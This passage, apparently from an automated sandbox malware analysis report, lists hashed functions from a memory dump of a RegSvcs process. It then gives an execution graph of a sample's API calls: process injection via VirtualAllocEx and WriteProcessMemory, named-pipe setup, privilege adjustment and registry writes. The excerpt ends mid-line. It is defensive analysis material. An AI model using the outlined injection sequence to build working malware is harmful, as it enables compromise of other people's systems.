                                                                Function 00FDDC38 Relevance: .0, Instructions: 35COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ea39f89529e0bd31941e49a3581bc0f07fd3674882a7256d7d525f9e65b126b6
                                                                • Instruction ID: eaaa5aab706b49091d2625f546b8dc6e9202f1656d497d46192de37b90e6e195
                                                                • Opcode Fuzzy Hash: ea39f89529e0bd31941e49a3581bc0f07fd3674882a7256d7d525f9e65b126b6
                                                                • Instruction Fuzzy Hash: 52018CB1D0025A9FCB00EFB4D8444EEFBF1FF9A300B05869AD515AB342E7706A45CB81
                                                                Function 00FD2B9B Relevance: .0, Instructions: 34COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1eab29524d6b74dc2e4403909d6d5b4f69a2245a50f5fec37ecfe856c3b4c070
                                                                • Instruction ID: 8f9c6013d714f41f0d1ac708c6db2e475d5b157bc9314660b6eeccfcb6af6b5f
                                                                • Opcode Fuzzy Hash: 1eab29524d6b74dc2e4403909d6d5b4f69a2245a50f5fec37ecfe856c3b4c070
                                                                • Instruction Fuzzy Hash: 83F09032E101499BDB059B74C8A59FFBFB29F98300F49452AD542AB381DFB0590AD7C1
                                                                Function 00FD4508 Relevance: .0, Instructions: 34COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6f99ac9d75071c9750c397a88f9edcb54e74fe84da3b57724f589a69e581cb17
                                                                • Instruction ID: 8f7dcc530435260587789c9ad0e37f0c1d5aa48ba5cdf90918b5d071a88b0600
                                                                • Opcode Fuzzy Hash: 6f99ac9d75071c9750c397a88f9edcb54e74fe84da3b57724f589a69e581cb17
                                                                • Instruction Fuzzy Hash: BCF08731D1425B8FCB00EFA998444EFBFB1EF82310B14466AD014F7415E370268A8B80
                                                                Function 00FD5E95 Relevance: .0, Instructions: 34COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 12534143bd8e39c9a5910dda91f26061ac19375688aaf54651fae2ee59edf4d1
                                                                • Instruction ID: d3f8b9e42812ca51cea175a3cd3bb7808d4d3a1407be8d091815fe9c43c611ce
                                                                • Opcode Fuzzy Hash: 12534143bd8e39c9a5910dda91f26061ac19375688aaf54651fae2ee59edf4d1
                                                                • Instruction Fuzzy Hash: 9BF027B6A091915BCB0713B46C5A1DCBB539AE5B51B080893CE98DF322D9108D2263D2
                                                                Function 00FD2170 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 34345044ab4ab56babfbdbdfc6de59975015af2c16b12eab11d9c35e94fba5c7
                                                                • Instruction ID: 815e92997ed258f17ae9f335cf4f3c5e0c9748c674107a773278269cafa7aa66
                                                                • Opcode Fuzzy Hash: 34345044ab4ab56babfbdbdfc6de59975015af2c16b12eab11d9c35e94fba5c7
                                                                • Instruction Fuzzy Hash: 6BF08232E10149DBDB05DB64C955AEFBBB69F84300F158826D602BB380DEB0590A97D2
                                                                Function 00FD0908 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 995eecf69a9478592ffc90ee5a2ebc2d38c2d864ab767b87492ea5d70ca48dd6
                                                                • Instruction ID: 56c48284cb425051479db0b948d79b776077e9c6d2b6de55be921c9696d04f3a
                                                                • Opcode Fuzzy Hash: 995eecf69a9478592ffc90ee5a2ebc2d38c2d864ab767b87492ea5d70ca48dd6
                                                                • Instruction Fuzzy Hash: 9EF08232E201499BEB04DB64C865AEFBBB69F84310F558926E512BB380DEB0590696D2
                                                                Function 00FD5AE8 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ce9152c7d7959fb51cb0ba6300bd9e439ec96480f48a34191b243c2f57bb49d6
                                                                • Instruction ID: f484ddb532ae9a47be7161ea06f79956f4a197612fbfe542199269d29e49f5dd
                                                                • Opcode Fuzzy Hash: ce9152c7d7959fb51cb0ba6300bd9e439ec96480f48a34191b243c2f57bb49d6
                                                                • Instruction Fuzzy Hash: DEF0E232E101499BDB04DB64C865AEFBBB69F84300F148837D502BB380DFB0590A96D2
                                                                Function 00FDA338 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e347ca79ecb6be4db0c06459a92b2a0072661da1cb0c2b91962ea40afbd4f8ea
                                                                • Instruction ID: 239b0f750f56e2d9067e88837cb9eb367c9c2705d5f6aca7aaf314db25430ba1
                                                                • Opcode Fuzzy Hash: e347ca79ecb6be4db0c06459a92b2a0072661da1cb0c2b91962ea40afbd4f8ea
                                                                • Instruction Fuzzy Hash: C5F0E232E1010A9BDB04DBA4C855AEFBBB79F84300F148936E502BB380EEB0590696D2
                                                                Function 00FDC5F0 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c2aba58c99405e8b0d6bf095e7eb25c8f853bd9f0975810b1f0ad6e0fed4d814
                                                                • Instruction ID: a8c62b5618ea6c7c2f1852c1429ed36147a0b62ca1b5e28a0a50b7b62028ba91
                                                                • Opcode Fuzzy Hash: c2aba58c99405e8b0d6bf095e7eb25c8f853bd9f0975810b1f0ad6e0fed4d814
                                                                • Instruction Fuzzy Hash: A4F08232E1024A9BDB15DB64C869AEFBBB69F84300F158926D502A7380DEB05906D6D2
                                                                Function 00FD2BA8 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cae2a6c0feb3f4bab9f98fbe75be33e25b43986660205f376256cf4d0ae1e4ea
                                                                • Instruction ID: 3f0b7ffa90b1f1531f7686af345d10bd4d8882d99ef96b61b92f8b03bb937497
                                                                • Opcode Fuzzy Hash: cae2a6c0feb3f4bab9f98fbe75be33e25b43986660205f376256cf4d0ae1e4ea
                                                                • Instruction Fuzzy Hash: 97F0A732E101499BDF04DB64C855AEFBBB79F88310F458936D502BB380DFB15906D6D1
                                                                Function 00FD5648 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 87216781e8dbd080381fade0cc1c45d19cda6a28a0b81998e9ebaf87810fc915
                                                                • Instruction ID: 539362dd2d4672c66de1d287f876ba6974a9f33c7d72c7de0023a00683ea1a85
                                                                • Opcode Fuzzy Hash: 87216781e8dbd080381fade0cc1c45d19cda6a28a0b81998e9ebaf87810fc915
                                                                • Instruction Fuzzy Hash: 54F02732E102099BDF04DB60C865AEFBBB69F84300F448836E513BB380DFB05906C6C2
                                                                Function 00FDDC48 Relevance: .0, Instructions: 31COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2fbf736762df415059294c3dec8e2262155ba2291249ed0b1301a298373d0aa2
                                                                • Instruction ID: 0c117c5f08251e0110bb6ea19e8383507a61d6b4a9b09395f31c0b3d241b2f95
                                                                • Opcode Fuzzy Hash: 2fbf736762df415059294c3dec8e2262155ba2291249ed0b1301a298373d0aa2
                                                                • Instruction Fuzzy Hash: 69F01D71D1022A9BCB00EFB5D8044DEFBF5FE85310B058656D515A7301EB706A45CBD1
                                                                Function 00FD205D Relevance: .0, Instructions: 19COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7d3a9f78011f1cbf65796a750a1553374d1054d551b32b7e85117c82fc2803f3
                                                                • Instruction ID: 5f2db763a6cd626e124fb73c215fdf746a104a822eeb502821f45b9bb8d0b76d
                                                                • Opcode Fuzzy Hash: 7d3a9f78011f1cbf65796a750a1553374d1054d551b32b7e85117c82fc2803f3
                                                                • Instruction Fuzzy Hash: D6D02B32F003688FC7148F799C004DCFFA2EBD02307198296C0156B2A3C7B486028F91
                                                                Function 00FD206E Relevance: .0, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3206387152375554e1a78cae07faff50e9daf23aab2aafe3d0d693bcf213fbb9
                                                                • Instruction ID: 3048b7dac230eb01a84e6bd211dc9f6ffc0df5f8aefa60853bb7af062e028e44
                                                                • Opcode Fuzzy Hash: 3206387152375554e1a78cae07faff50e9daf23aab2aafe3d0d693bcf213fbb9
                                                                • Instruction Fuzzy Hash: 1CD02B31B043588FCB188FBCE4004DCBFA1DAC423071441ABC016D7293CB7481008F22
                                                                Function 00FD2D7A Relevance: .0, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 742be363c20bc98e2ae67c2cca0d0fe81afa70cc331bc26fd84280337f63b03d
                                                                • Instruction ID: 755c9b00c9dafe4cd95455e18730e3807be0b92ec321ede7b0cec112c43dee91
                                                                • Opcode Fuzzy Hash: 742be363c20bc98e2ae67c2cca0d0fe81afa70cc331bc26fd84280337f63b03d
                                                                • Instruction Fuzzy Hash: 4CD02B32B041048ECB148BACA8005DCFFB1EEC4230324816BC01ADB252CA348501C731
                                                                Function 00FD0848 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e6f3001fc7e8bf63bb65ed58fdeceb8eb53125e87d72c237b829c997d632ed26
                                                                • Instruction ID: 1b33341a59eaaed9a175274326590d4c38ba051c6b3f64e01a443810f6759325
                                                                • Opcode Fuzzy Hash: e6f3001fc7e8bf63bb65ed58fdeceb8eb53125e87d72c237b829c997d632ed26
                                                                • Instruction Fuzzy Hash: 31D017B1D05288AFDB52CFB4C845B5D7BB9AB05240F244496E448DB241DB35DE10DB91
                                                                Function 00FD13B0 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fef043d575c0f54f122b0501c9fa8b484036c79d8b33f2a125a1e09fb6ee5efe
                                                                • Instruction ID: 8e4207a4b58f7600811610754207cf13c4063ca9c5ddec3140325de0076bbeaf
                                                                • Opcode Fuzzy Hash: fef043d575c0f54f122b0501c9fa8b484036c79d8b33f2a125a1e09fb6ee5efe
                                                                • Instruction Fuzzy Hash: 0CE042B5E0530E9F8B40EFB988422AEBFF5AB48200F6485AA9908E7301E67556519BD1
                                                                Function 00FD26A8 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6c686ac702109b18ca7dc9b28f4501d74de66727b3de98d08ae11d6cb57f42e6
                                                                • Instruction ID: b7e12ce618bd793af00ead4fe777117ae3ac265a50b150b3e135277a50261762
                                                                • Opcode Fuzzy Hash: 6c686ac702109b18ca7dc9b28f4501d74de66727b3de98d08ae11d6cb57f42e6
                                                                • Instruction Fuzzy Hash: 57D05E32B0524A8ECB198BACE80049CBFE0DA8423072581BFD11ACB292DA31C5518B22
                                                                Function 00FD269F Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 03cce013b0e427ad30b635403c125316dd6de1e1955b93d8fee05c805a919ae1
                                                                • Instruction ID: 7ad47f0cbf394df65ad9e0ac09c31798a6320054ffc1cdf2f9604c2c927a6296
                                                                • Opcode Fuzzy Hash: 03cce013b0e427ad30b635403c125316dd6de1e1955b93d8fee05c805a919ae1
                                                                • Instruction Fuzzy Hash: 6BD05B71A152468ECB488BACE80049CBF61DAD1230715817AD1168B252D67085519B60
                                                                Function 00FD2AB6 Relevance: .0, Instructions: 16COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 20816e94154ff2f396b0aacc279b68a782a40810385978a20712d79e51149f45
                                                                • Instruction ID: 79d7bb8de0b4084a15b85ac99d65bf2b5b2e2ae4e961a949f356f16ea5cbe173
                                                                • Opcode Fuzzy Hash: 20816e94154ff2f396b0aacc279b68a782a40810385978a20712d79e51149f45
                                                                • Instruction Fuzzy Hash: FDD0A733B052458F8B248BACAC005DCFBA1EAD41317144257D565EB251CA788511DB72
                                                                Function 00FD5D42 Relevance: .0, Instructions: 16COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4fd72b118af89321ec955267d10472d0aefc0d6bc3c28f7f56573ec6fd86c05f
                                                                • Instruction ID: 4e859b601f5d6ec7a21dfd85110ffe4416aeb1600b55e24ae472a1266c89197e
                                                                • Opcode Fuzzy Hash: 4fd72b118af89321ec955267d10472d0aefc0d6bc3c28f7f56573ec6fd86c05f
                                                                • Instruction Fuzzy Hash: B0D0A737F0A3549FCF218FB8A8444DCBF71DAC122071482D3C156C7252C634C414C722
                                                                Function 00FDD9A2 Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1c1b147702f8440ecb776694eb9f48b9486142f243456dc0f3288a8476a6c0a3
                                                                • Instruction ID: dd102b67a27fb136ec91d8792f3c31ffabe09e2c953e4b10ec5d76a916815ee3
                                                                • Opcode Fuzzy Hash: 1c1b147702f8440ecb776694eb9f48b9486142f243456dc0f3288a8476a6c0a3
                                                                • Instruction Fuzzy Hash: AFD0A936B061088F9B018AECA8000ECBBA1DAC523472842A3C22697291CA2188628B22
                                                                Function 00FDABEB Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f6bf5380e1c0b2fe678d95eea58b65a4334c85978c163f82b6dc7cf18a832227
                                                                • Instruction ID: 416cfe79168da9769861192292c7ae5e4a9b402481bfebf0601cfc78e3602d0d
                                                                • Opcode Fuzzy Hash: f6bf5380e1c0b2fe678d95eea58b65a4334c85978c163f82b6dc7cf18a832227
                                                                • Instruction Fuzzy Hash: BDD0A726B002499F8B149FBCA4005DC7BA19AC42307140597C525A7292DB64C5118B32
                                                                Function 00FD577B Relevance: .0, Instructions: 15COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4a646b35354d3b6ad2328de11c13f787445516ecb86f5e65b3b06aaaf74eef22
                                                                • Instruction ID: fbb0ea88bd5e59537feeef2d2045ffffac8dded585c67d9c50859224c5492c85
                                                                • Opcode Fuzzy Hash: 4a646b35354d3b6ad2328de11c13f787445516ecb86f5e65b3b06aaaf74eef22
                                                                • Instruction Fuzzy Hash: 49D0A732B01149CF8B208BECA8005DCBBE1DAD41317244197C559EB251CA248911CB32
                                                                Function 00FD9E70 Relevance: .0, Instructions: 14COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1cfb442bf7ac37f26d8a5fe9d34e1b0e2cb63ef5e7d90ef43b832dacdcc8567f
                                                                • Instruction ID: 06e8dc0e8feafb5aaa5750e1e867281f6f0d519787a8ba4ff617cbe89232eec7
                                                                • Opcode Fuzzy Hash: 1cfb442bf7ac37f26d8a5fe9d34e1b0e2cb63ef5e7d90ef43b832dacdcc8567f
                                                                • Instruction Fuzzy Hash: 36D02232B0514A8FCB24CBE8D8000DC7BE0CEC423072401A7C21AD73A1CA708D52CB32
                                                                Function 00FDCCB0 Relevance: .0, Instructions: 7COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 376ff590d73ed716fe990ee3b5b7b81f816a0d85f8355315360389677667f588
                                                                • Instruction ID: 9ae8ee9ca4ae392e0a8b05b6c19a525686b2e5411093c1cc244597447cc82cc9
                                                                • Opcode Fuzzy Hash: 376ff590d73ed716fe990ee3b5b7b81f816a0d85f8355315360389677667f588
                                                                • Instruction Fuzzy Hash: 97B0920A40E2C08FEB4323312C760507F249C8310839E10C688C28B16BC14C488AA221
                                                                Function 00FDDC20 Relevance: .0, Instructions: 7COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ef2e1745186c0c8df7161f00cfa2939e0bfa7a992f3ce4e2abe9c46503645c03
                                                                • Instruction ID: 01665de5ea58ad68b733003232b7ef78edb98cd2f8972ad4a639977eeca51bfa
                                                                • Opcode Fuzzy Hash: ef2e1745186c0c8df7161f00cfa2939e0bfa7a992f3ce4e2abe9c46503645c03
                                                                • Instruction Fuzzy Hash: EFB012C3B053848FEB011D6008D73803A90977B301FCA30A7CE40063C7E01D8C14C340

                                                                Execution Graph

                                                                Execution Coverage:47.1%
                                                                Dynamic/Decrypted Code Coverage:0%
                                                                Signature Coverage:40.3%
                                                                Total number of Nodes:226
                                                                Total number of Limit Nodes:23
                                                                execution_graph 384 140002b38 GetProcessHeap HeapAlloc GetProcessHeap RtlAllocateHeap 385 140002b8e K32EnumProcesses 384->385 386 140002beb SleepEx 385->386 387 140002ba3 385->387 386->385 387->386 389 140002540 387->389 390 140002558 389->390 391 14000254d 389->391 390->387 393 1400010c0 391->393 431 1400018ac OpenProcess 393->431 396 1400014ba 396->390 397 140001122 OpenProcess 397->396 398 14000113e OpenProcess 397->398 399 140001161 K32GetModuleFileNameExW 398->399 400 1400011fd NtQueryInformationProcess 398->400 401 1400011aa CloseHandle 399->401 402 14000117a PathFindFileNameW lstrlenW 399->402 403 1400014b1 CloseHandle 400->403 404 140001224 400->404 401->400 406 1400011b8 401->406 402->401 405 140001197 StrCpyW 402->405 403->396 404->403 407 140001230 OpenProcessToken 404->407 405->401 406->400 408 1400011d8 StrCmpIW 406->408 407->403 409 14000124e GetTokenInformation 407->409 408->403 408->406 410 1400012f1 409->410 411 140001276 GetLastError 409->411 412 1400012f8 CloseHandle 410->412 411->410 413 140001281 LocalAlloc 411->413 412->403 418 14000130c 412->418 413->410 414 140001297 GetTokenInformation 413->414 415 1400012df 414->415 416 1400012bf GetSidSubAuthorityCount GetSidSubAuthority 414->416 417 1400012e6 LocalFree 415->417 416->417 417->412 418->403 419 14000139b StrStrA 418->419 420 1400013c3 418->420 419->418 421 1400013c8 419->421 420->403 421->403 422 1400013f3 VirtualAllocEx 421->422 422->403 423 140001420 WriteProcessMemory 422->423 423->403 424 14000143b 423->424 436 14000211c 424->436 426 14000145b 426->403 427 140001478 WaitForSingleObject 426->427 430 140001471 FindCloseChangeNotification 426->430 429 140001487 GetExitCodeThread 427->429 427->430 429->430 430->403 432 14000110e 431->432 433 1400018d8 IsWow64Process 431->433 432->396 432->397 434 1400018f8 FindCloseChangeNotification 433->434 435 1400018ea 433->435 434->432 435->434 439 140001914 GetModuleHandleA 436->439 440 140001934 GetProcAddress 439->440 441 14000193d 439->441 440->441 442 140002bf8 443 140002c05 442->443 445 140002c25 ConnectNamedPipe 443->445 446 140002c1a Sleep 443->446 453 140001b54 AllocateAndInitializeSid 443->453 447 140002c83 Sleep 445->447 448 140002c34 ReadFile 445->448 446->443 450 140002c8e DisconnectNamedPipe 447->450 449 140002c57 448->449 448->450 460 140002524 449->460 450->445 454 140001bb1 SetEntriesInAclW 453->454 455 140001c6f 453->455 454->455 456 140001bf5 LocalAlloc 454->456 455->443 456->455 457 140001c09 InitializeSecurityDescriptor 456->457 457->455 458 140001c19 SetSecurityDescriptorDacl 457->458 458->455 459 140001c30 CreateNamedPipeW 458->459 459->455 461 140002531 460->461 462 140002539 WriteFile 460->462 463 1400010c0 30 API calls 461->463 462->450 463->462 464 140002258 467 14000226c 464->467 491 140001f2c 467->491 470 140001f2c 14 API calls 471 14000228f GetCurrentProcessId OpenProcess 470->471 472 140002321 FindResourceA 471->472 473 1400022af OpenProcessToken 471->473 476 140002341 SizeofResource 472->476 477 140002261 ExitProcess 472->477 474 1400022c3 LookupPrivilegeValueW 473->474 475 140002318 FindCloseChangeNotification 473->475 474->475 478 1400022da AdjustTokenPrivileges 474->478 475->472 476->477 479 14000235a LoadResource 476->479 478->475 480 140002312 GetLastError 478->480 479->477 481 14000236e LockResource GetCurrentProcessId 479->481 480->475 505 1400017ec GetProcessHeap HeapAlloc 481->505 483 14000238b RegCreateKeyExW 484 140002489 CreateThread GetProcessHeap HeapAlloc CreateThread CreateThread 483->484 485 1400023cc ConvertStringSecurityDescriptorToSecurityDescriptorW 483->485 486 14000250f SleepEx 484->486 487 1400023f4 RegSetKeySecurity LocalFree 485->487 488 14000240e RegCreateKeyExW 485->488 486->486 487->488 489 140002448 GetCurrentProcessId RegSetValueExW RegCloseKey 488->489 490 14000247f RegCloseKey 488->490 489->490 490->484 492 140001f35 StrCpyW StrCatW GetModuleHandleW 491->492 493 1400020ff 491->493 492->493 494 140001f86 GetCurrentProcess K32GetModuleInformation 492->494 493->470 495 1400020f6 FreeLibrary 494->495 496 140001fb6 CreateFileW 494->496 495->493 496->495 497 140001feb CreateFileMappingW 496->497 498 140002014 MapViewOfFile 497->498 499 1400020ed CloseHandle 497->499 500 1400020e4 FindCloseChangeNotification 498->500 501 140002037 498->501 499->495 500->499 501->500 502 140002050 lstrcmpi 501->502 504 14000208e 501->504 502->501 503 140002090 